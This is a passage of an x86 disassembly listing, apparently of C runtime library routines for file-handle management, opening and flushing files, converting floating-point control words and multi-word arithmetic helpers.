loc_41D2FB: ; CODE XREF: sub_41D1F7+F7j
or [ebp+var_4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_41D32C
push [ebp+var_20]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push 1
push [ebp+arg_10]
call dword_421064 ; MultiByteToWideChar
cmp eax, ebx
jz short loc_41D32C
push [ebp+arg_C]
push eax
push esi
push [ebp+arg_0]
call dword_421028 ; GetStringTypeW
jmp short loc_41D32E
; ---------------------------------------------------------------------------
loc_41D32C: ; CODE XREF: sub_41D1F7+61j
; sub_41D1F7+9Bj ...
xor eax, eax
loc_41D32E: ; CODE XREF: sub_41D1F7+93j
; sub_41D1F7+133j
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41D1F7 endp
; =============== S U B R O U T I N E =======================================
sub_41D340 proc near ; CODE XREF: sub_41D55A:loc_41D6D2p
push ebx
push esi
push edi
or ebx, 0FFFFFFFFh
xor edi, edi
xor esi, esi
mov ecx, offset dword_46A7C0
loc_41D34F: ; CODE XREF: sub_41D340+48j
mov eax, [ecx]
test eax, eax
jz short loc_41D38C
lea edx, [eax+100h]
loc_41D35B: ; CODE XREF: sub_41D340+28j
cmp eax, edx
jnb short loc_41D37B
test byte ptr [eax+4], 1
jz short loc_41D36A
add eax, 8
jmp short loc_41D35B
; ---------------------------------------------------------------------------
loc_41D36A: ; CODE XREF: sub_41D340+23j
or dword ptr [eax], 0FFFFFFFFh
sub eax, [ecx]
sar eax, 3
add eax, esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_41D3CF
loc_41D37B: ; CODE XREF: sub_41D340+1Dj
add ecx, 4
inc edi
add esi, 20h
cmp ecx, offset dword_46A8C0
jl short loc_41D34F
jmp short loc_41D3CF
; ---------------------------------------------------------------------------
loc_41D38C: ; CODE XREF: sub_41D340+13j
mov esi, 100h
push esi
call sub_415DC9
test eax, eax
pop ecx
jz short loc_41D3CF
add dword_46A8C0, 20h
lea ecx, ds:46A7C0h[edi*4]
lea edx, [eax+100h]
mov [ecx], eax
loc_41D3B2: ; CODE XREF: sub_41D340+88j
cmp eax, edx
jnb short loc_41D3CA
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov edx, [ecx]
add eax, 8
add edx, esi
jmp short loc_41D3B2
; ---------------------------------------------------------------------------
loc_41D3CA: ; CODE XREF: sub_41D340+74j
shl edi, 5
mov ebx, edi
loc_41D3CF: ; CODE XREF: sub_41D340+39j
; sub_41D340+4Aj ...
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41D340 endp
; =============== S U B R O U T I N E =======================================
sub_41D3D5 proc near ; CODE XREF: sub_41D55A+1F4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_46A8C0
push edi
jnb short loc_41D435
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:46A7C0h[ecx*4]
shl esi, 3
mov ecx, [edi]
cmp dword ptr [ecx+esi], 0FFFFFFFFh
jnz short loc_41D435
cmp dword_437D64, 1
push ebx
mov ebx, [esp+0Ch+arg_4]
jnz short loc_41D42B
sub eax, 0
jz short loc_41D422
dec eax
jz short loc_41D41D
dec eax
jnz short loc_41D42B
push ebx
push 0FFFFFFF4h
jmp short loc_41D425
; ---------------------------------------------------------------------------
loc_41D41D: ; CODE XREF: sub_41D3D5+3Ej
push ebx
push 0FFFFFFF5h
jmp short loc_41D425
; ---------------------------------------------------------------------------
loc_41D422: ; CODE XREF: sub_41D3D5+3Bj
push ebx
push 0FFFFFFF6h
loc_41D425: ; CODE XREF: sub_41D3D5+46j
; sub_41D3D5+4Bj
call dword_421024 ; SetStdHandle
loc_41D42B: ; CODE XREF: sub_41D3D5+36j
; sub_41D3D5+41j
mov eax, [edi]
mov [eax+esi], ebx
xor eax, eax
pop ebx
jmp short loc_41D449
; ---------------------------------------------------------------------------
loc_41D435: ; CODE XREF: sub_41D3D5+Cj
; sub_41D3D5+28j
and dword_469498, 0
mov dword_469494, 9
or eax, 0FFFFFFFFh
loc_41D449: ; CODE XREF: sub_41D3D5+5Ej
pop edi
pop esi
retn
sub_41D3D5 endp
; =============== S U B R O U T I N E =======================================
sub_41D44C proc near ; CODE XREF: sub_4185CB+7Cp
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
cmp ecx, dword_46A8C0
push edi
jnb short loc_41D4AF
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea edi, ds:46A7C0h[eax*4]
shl esi, 3
mov eax, [edi]
add eax, esi
test byte ptr [eax+4], 1
jz short loc_41D4AF
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_41D4AF
cmp dword_437D64, 1
jnz short loc_41D4A5
xor eax, eax
sub ecx, eax
jz short loc_41D49C
dec ecx
jz short loc_41D497
dec ecx
jnz short loc_41D4A5
push eax
push 0FFFFFFF4h
jmp short loc_41D49F
; ---------------------------------------------------------------------------
loc_41D497: ; CODE XREF: sub_41D44C+41j
push eax
push 0FFFFFFF5h
jmp short loc_41D49F
; ---------------------------------------------------------------------------
loc_41D49C: ; CODE XREF: sub_41D44C+3Ej
push eax
push 0FFFFFFF6h
loc_41D49F: ; CODE XREF: sub_41D44C+49j
; sub_41D44C+4Ej
call dword_421024 ; SetStdHandle
loc_41D4A5: ; CODE XREF: sub_41D44C+38j
; sub_41D44C+44j
mov eax, [edi]
or dword ptr [eax+esi], 0FFFFFFFFh
xor eax, eax
jmp short loc_41D4C3
; ---------------------------------------------------------------------------
loc_41D4AF: ; CODE XREF: sub_41D44C+Cj
; sub_41D44C+2Aj ...
and dword_469498, 0
mov dword_469494, 9
or eax, 0FFFFFFFFh
loc_41D4C3: ; CODE XREF: sub_41D44C+61j
pop edi
pop esi
retn
sub_41D44C endp
; =============== S U B R O U T I N E =======================================
sub_41D4C6 proc near ; CODE XREF: sub_4185CB+32p
; sub_4185CB+49p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_46A8C0
jnb short loc_41D4EE
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_46A7C0[ecx*4]
test byte ptr [ecx+eax*8+4], 1
lea eax, [ecx+eax*8]
jz short loc_41D4EE
mov eax, [eax]
retn
; ---------------------------------------------------------------------------
loc_41D4EE: ; CODE XREF: sub_41D4C6+Aj
; sub_41D4C6+23j
and dword_469498, 0
mov dword_469494, 9
or eax, 0FFFFFFFFh
retn
sub_41D4C6 endp
; =============== S U B R O U T I N E =======================================
sub_41D503 proc near ; CODE XREF: sub_4186A9+2Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_46A8C0
jnb short loc_41D54C
mov ecx, eax
mov edx, eax
sar ecx, 5
and edx, 1Fh
mov ecx, dword_46A7C0[ecx*4]
test byte ptr [ecx+edx*8+4], 1
jz short loc_41D54C
push eax
call sub_41D4C6
pop ecx
push eax
call dword_421020 ; FlushFileBuffers
test eax, eax
jnz short loc_41D541
call dword_421088 ; RtlGetLastWin32Error
jmp short loc_41D543
; ---------------------------------------------------------------------------
loc_41D541: ; CODE XREF: sub_41D503+34j
xor eax, eax
loc_41D543: ; CODE XREF: sub_41D503+3Cj
test eax, eax
jz short locret_41D559
mov dword_469498, eax
loc_41D54C: ; CODE XREF: sub_41D503+Aj
; sub_41D503+22j
mov dword_469494, 9
or eax, 0FFFFFFFFh
locret_41D559: ; CODE XREF: sub_41D503+42j
retn
sub_41D503 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D55A proc near ; CODE XREF: sub_418880+13Fp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
mov ecx, [ebp+arg_4]
push ebx
xor ebx, ebx
push esi
test cl, 80h
push edi
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], ebx
jz short loc_41D580
mov [ebp+var_14], ebx
mov [ebp+var_1], 10h
jmp short loc_41D58B
; ---------------------------------------------------------------------------
loc_41D580: ; CODE XREF: sub_41D55A+1Bj
and [ebp+var_1], 0
mov [ebp+var_14], 1
loc_41D58B: ; CODE XREF: sub_41D55A+24j
mov eax, 8000h
test ecx, eax
jnz short loc_41D5A5
test ch, 40h
jnz short loc_41D5A1
cmp dword_469760, eax
jz short loc_41D5A5
loc_41D5A1: ; CODE XREF: sub_41D55A+3Dj
or [ebp+var_1], 80h
loc_41D5A5: ; CODE XREF: sub_41D55A+38j
; sub_41D55A+45j
push 3
mov eax, ecx
pop esi
and eax, esi
sub eax, ebx
jz short loc_41D5DD
dec eax
jz short loc_41D5D4
dec eax
jz short loc_41D5CB
loc_41D5B6: ; CODE XREF: sub_41D55A+9Fj
; sub_41D55A+E8j ...
mov dword_469494, 16h
mov dword_469498, ebx
jmp loc_41D7F0
; ---------------------------------------------------------------------------
loc_41D5CB: ; CODE XREF: sub_41D55A+5Aj
mov [ebp+var_C], 0C0000000h
jmp short loc_41D5E4
; ---------------------------------------------------------------------------
loc_41D5D4: ; CODE XREF: sub_41D55A+57j
mov [ebp+var_C], 40000000h
jmp short loc_41D5E4
; ---------------------------------------------------------------------------
loc_41D5DD: ; CODE XREF: sub_41D55A+54j
mov [ebp+var_C], 80000000h
loc_41D5E4: ; CODE XREF: sub_41D55A+78j
; sub_41D55A+81j
mov eax, [ebp+arg_8]
cmp eax, 10h
jz short loc_41D612
cmp eax, 20h
jz short loc_41D609
cmp eax, 30h
jz short loc_41D600
cmp eax, 40h
jnz short loc_41D5B6
mov [ebp+var_10], esi
jmp short loc_41D615
; ---------------------------------------------------------------------------
loc_41D600: ; CODE XREF: sub_41D55A+9Aj
mov [ebp+var_10], 2
jmp short loc_41D615
; ---------------------------------------------------------------------------
loc_41D609: ; CODE XREF: sub_41D55A+95j
mov [ebp+var_10], 1
jmp short loc_41D615
; ---------------------------------------------------------------------------
loc_41D612: ; CODE XREF: sub_41D55A+90j
mov [ebp+var_10], ebx
loc_41D615: ; CODE XREF: sub_41D55A+A4j
; sub_41D55A+ADj ...
mov edx, 700h
mov eax, 400h
and ecx, edx
mov edi, 100h
cmp ecx, eax
jg short loc_41D65F
jz short loc_41D65A
cmp ecx, ebx
jz short loc_41D65A
cmp ecx, edi
jz short loc_41D651
cmp ecx, 200h
jz short loc_41D678
cmp ecx, 300h
jnz loc_41D5B6
mov [ebp+var_8], 2
jmp short loc_41D688
; ---------------------------------------------------------------------------
loc_41D651: ; CODE XREF: sub_41D55A+D8j
mov [ebp+var_8], 4
jmp short loc_41D688
; ---------------------------------------------------------------------------
loc_41D65A: ; CODE XREF: sub_41D55A+D0j
; sub_41D55A+D4j
mov [ebp+var_8], esi
jmp short loc_41D688
; ---------------------------------------------------------------------------
loc_41D65F: ; CODE XREF: sub_41D55A+CEj
cmp ecx, 500h
jz short loc_41D681
cmp ecx, 600h
jz short loc_41D678
cmp ecx, edx
jz short loc_41D681
jmp loc_41D5B6
; ---------------------------------------------------------------------------
loc_41D678: ; CODE XREF: sub_41D55A+E0j
; sub_41D55A+113j
mov [ebp+var_8], 5
jmp short loc_41D688
; ---------------------------------------------------------------------------
loc_41D681: ; CODE XREF: sub_41D55A+10Bj
; sub_41D55A+117j
mov [ebp+var_8], 1
loc_41D688: ; CODE XREF: sub_41D55A+F5j
; sub_41D55A+FEj ...
mov eax, [ebp+arg_4]
mov esi, 80h
test eax, edi
jz short loc_41D6A7
mov ecx, dword_46949C
not ecx
and ecx, [ebp+arg_C]
test cl, 80h
jnz short loc_41D6A7
push 1
pop esi
loc_41D6A7: ; CODE XREF: sub_41D55A+138j
; sub_41D55A+148j
test al, 40h
jz short loc_41D6B5
or esi, 4000000h
or byte ptr [ebp+var_C+2], 1
loc_41D6B5: ; CODE XREF: sub_41D55A+14Fj
test ah, 10h
jz short loc_41D6BC
or esi, edi
loc_41D6BC: ; CODE XREF: sub_41D55A+15Ej
test al, 20h
jz short loc_41D6C8
or esi, 8000000h
jmp short loc_41D6D2
; ---------------------------------------------------------------------------
loc_41D6C8: ; CODE XREF: sub_41D55A+164j
test al, 10h
jz short loc_41D6D2
or esi, 10000000h
loc_41D6D2: ; CODE XREF: sub_41D55A+16Cj
; sub_41D55A+170j
call sub_41D340
mov ebx, eax
or edi, 0FFFFFFFFh
cmp ebx, edi
jnz short loc_41D6F3
and dword_469498, 0
mov dword_469494, 18h
jmp short loc_41D731
; ---------------------------------------------------------------------------
loc_41D6F3: ; CODE XREF: sub_41D55A+184j
push 0
push esi
push [ebp+var_8]
lea eax, [ebp+var_1C]
push eax
push [ebp+var_10]
push [ebp+var_C]
push [ebp+arg_0]
call dword_421078 ; CreateFileA
mov esi, eax
cmp esi, edi
jz short loc_41D724
push esi
call dword_421030 ; GetFileType
test eax, eax
jnz short loc_41D738
push esi
call dword_42106C ; CloseHandle
loc_41D724: ; CODE XREF: sub_41D55A+1B6j
call dword_421088 ; RtlGetLastWin32Error
push eax
call sub_41C5D7
pop ecx
loc_41D731: ; CODE XREF: sub_41D55A+197j
mov eax, edi
jmp loc_41D80E
; ---------------------------------------------------------------------------
loc_41D738: ; CODE XREF: sub_41D55A+1C1j
cmp eax, 2
jnz short loc_41D743
or [ebp+var_1], 40h
jmp short loc_41D74C
; ---------------------------------------------------------------------------
loc_41D743: ; CODE XREF: sub_41D55A+1E1j
cmp eax, 3
jnz short loc_41D74C
or [ebp+var_1], 8
loc_41D74C: ; CODE XREF: sub_41D55A+1E7j
; sub_41D55A+1ECj
push esi
push ebx
call sub_41D3D5
pop ecx
mov al, [ebp+var_1]
pop ecx
mov esi, ebx
mov ecx, ebx
or al, 1
sar ecx, 5
and esi, 1Fh
mov byte ptr [ebp+arg_0+3], al
lea edi, ds:46A7C0h[ecx*4]
shl esi, 3
mov ecx, [edi]
and byte ptr [ebp+arg_0+3], 48h
mov [ecx+esi+4], al
jnz short loc_41D7F5
test al, 80h
jz short loc_41D7F5
test byte ptr [ebp+arg_4], 2
jz short loc_41D7F5
push 2
push 0FFFFFFFFh
push ebx
call sub_41BB7F
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jnz short loc_41D7AA
cmp dword_469498, 83h
jz short loc_41D7F5
jmp short loc_41D7E9
; ---------------------------------------------------------------------------
loc_41D7AA: ; CODE XREF: sub_41D55A+240j
and byte ptr [ebp+arg_8+3], 0
lea eax, [ebp+arg_8+3]
push 1
push eax
push ebx
call sub_41B989
add esp, 0Ch
test eax, eax
jnz short loc_41D7D7
cmp byte ptr [ebp+arg_8+3], 1Ah
jnz short loc_41D7D7
push [ebp+var_10]
push ebx
call sub_41E84C
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41D7E9
loc_41D7D7: ; CODE XREF: sub_41D55A+265j
; sub_41D55A+26Bj
push 0
push 0
push ebx
call sub_41BB7F
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_41D7F5
loc_41D7E9: ; CODE XREF: sub_41D55A+24Ej
; sub_41D55A+27Bj
push ebx
call sub_4185CB
pop ecx
loc_41D7F0: ; CODE XREF: sub_41D55A+6Cj
or eax, 0FFFFFFFFh
jmp short loc_41D80E
; ---------------------------------------------------------------------------
loc_41D7F5: ; CODE XREF: sub_41D55A+221j
; sub_41D55A+225j ...
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_41D80C
test byte ptr [ebp+arg_4], 8
jz short loc_41D80C
mov eax, [edi]
or byte ptr [eax+esi+4], 20h
lea eax, [eax+esi+4]
loc_41D80C: ; CODE XREF: sub_41D55A+29Fj
; sub_41D55A+2A5j
mov eax, ebx
loc_41D80E: ; CODE XREF: sub_41D55A+1D9j
; sub_41D55A+299j
pop edi
pop esi
pop ebx
leave
retn
sub_41D55A endp
; =============== S U B R O U T I N E =======================================
sub_41D813 proc near ; CODE XREF: sub_419BB3+52p
xor eax, eax
retn
sub_41D813 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D816 proc near ; CODE XREF: sub_41D84B+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
fstcw word ptr [ebp+var_4]
push [ebp+var_4]
call sub_41D861
mov esi, eax
mov eax, [ebp+arg_4]
not eax
and esi, eax
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
or esi, eax
push esi
call sub_41D8F3
pop ecx
mov [ebp+arg_4], eax
pop ecx
fldcw word ptr [ebp+arg_4]
mov eax, esi
pop esi
leave
retn
sub_41D816 endp
; =============== S U B R O U T I N E =======================================
sub_41D84B proc near ; CODE XREF: sub_419E9F+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
and eax, 0FFF7FFFFh
push eax
push [esp+4+arg_0]
call sub_41D816
pop ecx
pop ecx
retn
sub_41D84B endp
; =============== S U B R O U T I N E =======================================
sub_41D861 proc near ; CODE XREF: sub_41D816+Cp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push ebp
test bl, 1
push edi
jz short loc_41D872
push 10h
pop eax
loc_41D872: ; CODE XREF: sub_41D861+Cj
test bl, 4
jz short loc_41D879
or al, 8
loc_41D879: ; CODE XREF: sub_41D861+14j
test bl, 8
jz short loc_41D880
or al, 4
loc_41D880: ; CODE XREF: sub_41D861+1Bj
test bl, 10h
jz short loc_41D887
or al, 2
loc_41D887: ; CODE XREF: sub_41D861+22j
test bl, 20h
jz short loc_41D88E
or al, 1
loc_41D88E: ; CODE XREF: sub_41D861+29j
test bl, 2
jz short loc_41D898
or eax, 80000h
loc_41D898: ; CODE XREF: sub_41D861+30j
movzx ecx, bx
push esi
mov edx, ecx
mov esi, 0C00h
mov edi, 300h
and edx, esi
mov ebp, 200h
jz short loc_41D8D0
cmp edx, 400h
jz short loc_41D8CD
cmp edx, 800h
jz short loc_41D8C9
cmp edx, esi
jnz short loc_41D8D0
or eax, edi
jmp short loc_41D8D0
; ---------------------------------------------------------------------------
loc_41D8C9: ; CODE XREF: sub_41D861+5Ej
or eax, ebp
jmp short loc_41D8D0
; ---------------------------------------------------------------------------
loc_41D8CD: ; CODE XREF: sub_41D861+56j
or ah, 1
loc_41D8D0: ; CODE XREF: sub_41D861+4Ej
; sub_41D861+62j ...
and ecx, edi
pop esi
jz short loc_41D8E0
cmp ecx, ebp
jnz short loc_41D8E5
or eax, 10000h
jmp short loc_41D8E5
; ---------------------------------------------------------------------------
loc_41D8E0: ; CODE XREF: sub_41D861+72j
or eax, 20000h
loc_41D8E5: ; CODE XREF: sub_41D861+76j
; sub_41D861+7Dj
pop edi
pop ebp
test bh, 10h
pop ebx
jz short locret_41D8F2
or eax, 40000h
locret_41D8F2: ; CODE XREF: sub_41D861+8Aj
retn
sub_41D861 endp
; =============== S U B R O U T I N E =======================================
sub_41D8F3 proc near ; CODE XREF: sub_41D816+23p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push esi
test bl, 10h
jz short loc_41D903
push 1
pop eax
loc_41D903: ; CODE XREF: sub_41D8F3+Bj
test bl, 8
jz short loc_41D90A
or al, 4
loc_41D90A: ; CODE XREF: sub_41D8F3+13j
test bl, 4
jz short loc_41D911
or al, 8
loc_41D911: ; CODE XREF: sub_41D8F3+1Aj
test bl, 2
jz short loc_41D918
or al, 10h
loc_41D918: ; CODE XREF: sub_41D8F3+21j
test bl, 1
jz short loc_41D91F
or al, 20h
loc_41D91F: ; CODE XREF: sub_41D8F3+28j
test ebx, 80000h
jz short loc_41D929
or al, 2
loc_41D929: ; CODE XREF: sub_41D8F3+32j
mov ecx, ebx
mov edx, 300h
and ecx, edx
mov esi, 200h
jz short loc_41D956
cmp ecx, 100h
jz short loc_41D953
cmp ecx, esi
jz short loc_41D94E
cmp ecx, edx
jnz short loc_41D956
or ah, 0Ch
jmp short loc_41D956
; ---------------------------------------------------------------------------
loc_41D94E: ; CODE XREF: sub_41D8F3+50j
or ah, 8
jmp short loc_41D956
; ---------------------------------------------------------------------------
loc_41D953: ; CODE XREF: sub_41D8F3+4Cj
or ah, 4
loc_41D956: ; CODE XREF: sub_41D8F3+44j
; sub_41D8F3+54j ...
mov ecx, ebx
and ecx, 30000h
jz short loc_41D96C
cmp ecx, 10000h
jnz short loc_41D96E
or eax, esi
jmp short loc_41D96E
; ---------------------------------------------------------------------------
loc_41D96C: ; CODE XREF: sub_41D8F3+6Bj
or eax, edx
loc_41D96E: ; CODE XREF: sub_41D8F3+73j
; sub_41D8F3+77j
pop esi
test ebx, 40000h
pop ebx
jz short locret_41D97B
or ah, 10h
locret_41D97B: ; CODE XREF: sub_41D8F3+83j
retn
sub_41D8F3 endp
; =============== S U B R O U T I N E =======================================
sub_41D97C proc near ; CODE XREF: sub_41DA1B+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
push 20h
cdq
pop ecx
idiv ecx
push 1Fh
mov esi, eax
mov eax, [esp+8+arg_4]
cdq
idiv ecx
pop ecx
mov eax, [esp+4+arg_0]
sub ecx, edx
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [eax+esi*4], edx
jnz short loc_41D9C1
inc esi
cmp esi, 3
jge short loc_41D9BC
lea eax, [eax+esi*4]
loc_41D9AE: ; CODE XREF: sub_41D97C+3Ej
cmp dword ptr [eax], 0
jnz short loc_41D9C1
inc esi
add eax, 4
cmp esi, 3
jl short loc_41D9AE
loc_41D9BC: ; CODE XREF: sub_41D97C+2Dj
push 1
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_41D9C1: ; CODE XREF: sub_41D97C+27j
; sub_41D97C+35j
xor eax, eax
pop esi
retn
sub_41D97C endp
; =============== S U B R O U T I N E =======================================
sub_41D9C5 proc near ; CODE XREF: sub_41DA1B+57p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push ebx
push esi
push edi
push 20h
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
idiv ecx
mov esi, eax
mov eax, [esp+0Ch+arg_4]
cdq
idiv ecx
lea edi, [ebx+esi*4]
push edi
push 1Fh
pop ecx
push 1
pop eax
sub ecx, edx
shl eax, cl
push eax
push dword ptr [edi]
call sub_41E992
add esp, 0Ch
dec esi
js short loc_41DA17
lea edi, [ebx+esi*4]
loc_41D9FE: ; CODE XREF: sub_41D9C5+50j
test eax, eax
jz short loc_41DA17
push edi
push 1
push dword ptr [edi]
call sub_41E992
add esp, 0Ch
dec esi
sub edi, 4
test esi, esi
jge short loc_41D9FE
loc_41DA17: ; CODE XREF: sub_41D9C5+34j
; sub_41D9C5+3Bj
pop edi
pop esi
pop ebx
retn
sub_41D9C5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DA1B proc near ; CODE XREF: sub_41DB76+81p
; sub_41DB76+CCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
lea edi, [eax-1]
push 20h
pop ecx
and [ebp+var_4], 0
lea ebx, [edi+1]
push 20h
mov eax, ebx
pop esi
cdq
idiv ecx
push 1Fh
mov ecx, eax
mov eax, ebx
cdq
idiv esi
mov eax, [ebp+arg_0]
pop esi
push 1
mov [ebp+var_8], ecx
lea eax, [eax+ecx*4]
mov [ebp+arg_4], eax
sub esi, edx
pop edx
mov ecx, esi
shl edx, cl
test [eax], edx
jz short loc_41DA7F
inc ebx
push ebx
push [ebp+arg_0]
call sub_41D97C
pop ecx
test eax, eax
pop ecx
jnz short loc_41DA7C
push edi
push [ebp+arg_0]
call sub_41D9C5
pop ecx
mov [ebp+var_4], eax
pop ecx
loc_41DA7C: ; CODE XREF: sub_41DA1B+51j
mov eax, [ebp+arg_4]
loc_41DA7F: ; CODE XREF: sub_41DA1B+41j
or edx, 0FFFFFFFFh
mov ecx, esi
shl edx, cl
push 3
pop ecx
and [eax], edx
mov eax, [ebp+var_8]
inc eax
cmp eax, ecx
jge short loc_41DA9F
mov edx, [ebp+arg_0]
sub ecx, eax
lea edi, [edx+eax*4]
xor eax, eax
rep stosd
loc_41DA9F: ; CODE XREF: sub_41DA1B+76j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_41DA1B endp
; =============== S U B R O U T I N E =======================================
sub_41DAA7 proc near ; CODE XREF: sub_41DB76+75p
; sub_41DB76+B6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push esi
push 3
sub ecx, eax
pop edx
loc_41DAB5: ; CODE XREF: sub_41DAA7+17j
mov esi, [eax]
mov [ecx+eax], esi
add eax, 4
dec edx
jnz short loc_41DAB5
pop esi
retn
sub_41DAA7 endp
; =============== S U B R O U T I N E =======================================
sub_41DAC2 proc near ; CODE XREF: sub_41DB76+5Fp
; sub_41DB76+9Ep ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor eax, eax
stosd
stosd
stosd
pop edi
retn
sub_41DAC2 endp
; =============== S U B R O U T I N E =======================================
sub_41DACE proc near ; CODE XREF: sub_41DB76+4Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
loc_41DAD4: ; CODE XREF: sub_41DACE+12j
cmp dword ptr [eax], 0
jnz short loc_41DAE6
inc ecx
add eax, 4
cmp ecx, 3
jl short loc_41DAD4
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41DAE6: ; CODE XREF: sub_41DACE+9j
xor eax, eax
retn
sub_41DACE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DAE9 proc near ; CODE XREF: sub_41DB76+C0p
; sub_41DB76+DAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
push 20h
mov edi, [ebp+arg_0]
pop ebx
or esi, 0FFFFFFFFh
cdq
mov ecx, ebx
mov [ebp+var_4], 3
idiv ecx
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
cdq
idiv ecx
and [ebp+arg_4], 0
mov ecx, edx
shl esi, cl
sub ebx, edx
not esi
loc_41DB1F: ; CODE XREF: sub_41DAE9+58j
mov eax, [edi]
mov ecx, eax
and ecx, esi
mov [ebp+var_8], ecx
mov ecx, edx
shr eax, cl
or eax, [ebp+arg_4]
mov [edi], eax
mov eax, [ebp+var_8]
mov ecx, ebx
add edi, 4
shl eax, cl
dec [ebp+var_4]
mov [ebp+arg_4], eax
jnz short loc_41DB1F
mov edi, [ebp+var_C]
push 2
pop ebx
mov esi, edi
push 8
pop ecx
shl esi, 2
loc_41DB51: ; CODE XREF: sub_41DAE9+86j
cmp ebx, edi
jl short loc_41DB64
mov edx, [ebp+arg_0]
mov eax, ecx
sub eax, esi
mov eax, [eax+edx]
mov [ecx+edx], eax
jmp short loc_41DB6B
; ---------------------------------------------------------------------------
loc_41DB64: ; CODE XREF: sub_41DAE9+6Aj
mov eax, [ebp+arg_0]
and dword ptr [ecx+eax], 0
loc_41DB6B: ; CODE XREF: sub_41DAE9+79j
dec ebx
sub ecx, 4
jns short loc_41DB51
pop edi
pop esi
pop ebx
leave
retn
sub_41DAE9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DB76 proc near ; CODE XREF: sub_41DCE2+Dp
; sub_41DCF8+Dp
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
movzx ecx, word ptr [eax+0Ah]
mov ebx, ecx
and ecx, 8000h
mov [ebp+arg_0], ecx
mov ecx, [eax+6]
mov [ebp+var_C], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
mov edi, [ebp+arg_8]
and ebx, 7FFFh
sub ebx, 3FFFh
mov [ebp+var_8], ecx
shl eax, 10h
cmp ebx, 0FFFFC001h
mov [ebp+var_4], eax
jnz short loc_41DBE3
lea eax, [ebp+var_C]
xor esi, esi
push eax
call sub_41DACE
test eax, eax
pop ecx
jnz loc_41DCA2
lea eax, [ebp+var_C]
push eax
call sub_41DAC2
pop ecx
loc_41DBDB: ; CODE XREF: sub_41DB76+E4j
push 2
loc_41DBDD: ; CODE XREF: sub_41DB76+110j
pop eax
jmp loc_41DCA4
; ---------------------------------------------------------------------------
loc_41DBE3: ; CODE XREF: sub_41DB76+45j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_18]
push eax
call sub_41DAA7
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_41DA1B
add esp, 10h
test eax, eax
jz short loc_41DC04
inc ebx
loc_41DC04: ; CODE XREF: sub_41DB76+8Bj
mov eax, [edi+4]
mov ecx, eax
sub ecx, [edi+8]
cmp ebx, ecx
jge short loc_41DC1C
lea eax, [ebp+var_C]
push eax
call sub_41DAC2
pop ecx
jmp short loc_41DC58
; ---------------------------------------------------------------------------
